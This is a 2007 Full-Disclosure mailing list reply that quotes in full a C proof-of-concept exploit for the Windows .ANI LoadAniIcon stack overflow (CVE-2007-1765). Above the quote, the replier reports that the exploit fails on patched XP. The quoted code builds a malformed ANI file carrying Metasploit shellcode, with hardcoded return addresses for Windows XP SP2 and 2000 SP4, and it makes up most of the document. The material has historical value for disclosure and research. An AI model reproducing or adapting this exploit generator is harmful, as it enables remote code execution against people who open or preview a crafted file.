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Re: Windows .ANI LoadAniIcon Stack Overflow
From: wac <waldoalvarez00 () gmail com>
Date: Sat, 31 Mar 2007 06:53:34 -0500

Hello:

Does this works in *fully patched* XP pro + SP2? Mine seems to be totally
immune (not even crashing). XP  Pro + SP2 + 0 patches crashes (probably
landing somewhere else in memory).


On 3/30/07, dev code <devcode29 () hotmail com> wrote:

/*
* Copyright (c) 2007 devcode
*
*
*                       ^^ D E V C O D E ^^
*
* Windows .ANI LoadAniIcon Stack Overflow
* [CVE-2007-1765]
*
*
* Description:
*    A vulnerability has been identified in Microsoft Windows,
*         which could be exploited by remote attackers to take complete
*         control of an affected system. This issue is due to a stack
overflow
*    error within the "LoadAniIcon()" [user32.dll] function when rendering
*    cursors, animated cursors or icons with a malformed header, which
could
*         be exploited by remote attackers to execute arbitrary commands
by
*    tricking a user into visiting a malicious web page or viewing an
email
*    message containing a specially crafted ANI file.
*
* Hotfix/Patch:
*    None as of this time.
*
* Vulnerable systems:
*         Microsoft Windows 2000 Service Pack 4
*         Microsoft Windows XP Service Pack 2
*         Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
*         Microsoft Windows XP Professional x64 Edition
*         Microsoft Windows Server 2003
*         Microsoft Windows Server 2003 (Itanium)
*         Microsoft Windows Server 2003 Service Pack 1
*         Microsoft Windows Server 2003 Service Pack 1 (Itanium)
*         Microsoft Windows Server 2003 x64 Edition
*         Microsoft Windows Vista
*
*         Microsoft Internet Explorer 6
*         Microsoft Internet Explorer 7
*
*    This is a PoC and was created for educational purposes only. The
*         author is not held responsible if this PoC does not work or is
*         used for any other purposes than the one stated above.
*
* Notes:
*         For this to work on XP SP2 on explorer.exe, DEP has to be turned
*         off.
*
*/
#include <iostream>

/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";

/* Shellcode - metasploit exec calc.exe ^^ */
unsigned char uszShellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";

char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\tWindows XP SP2 [0]\n"
"\tWindows 2K SP4 [1]\n\n"
"Usage: ani.exe <target> <file>";

typedef struct {
        const char *szTarget;
        unsigned char uszRet[5];
} TARGET;

TARGET targets[] = {
        { "Windows XP SP2", "\xC9\x29\xD4\x77" },       /* call esp */
        { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
};

int main( int argc, char **argv ) {
        char szBuffer[1024];
        FILE *f;

        if ( argc < 3 ) {
                printf("%s\n", szIntro );
                return 0;
        }

        printf("[+] Creating ANI header...\n");
        memset( szBuffer, 0x90, sizeof( szBuffer ) );
        memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );

        printf("[+] Copying shellcode...\n");
        memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
        memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1
);

        printf("%s\n", argv[2] );
        f = fopen( argv[2], "wb" );
        if ( f == NULL ) {
                printf("[-] Cannot create file\n");
                return 0;
        }

        fwrite( szBuffer, 1, 1024, f );
        fclose( f );
        printf("[+] .ANI file succesfully created!\n");
        return 0;
}

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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

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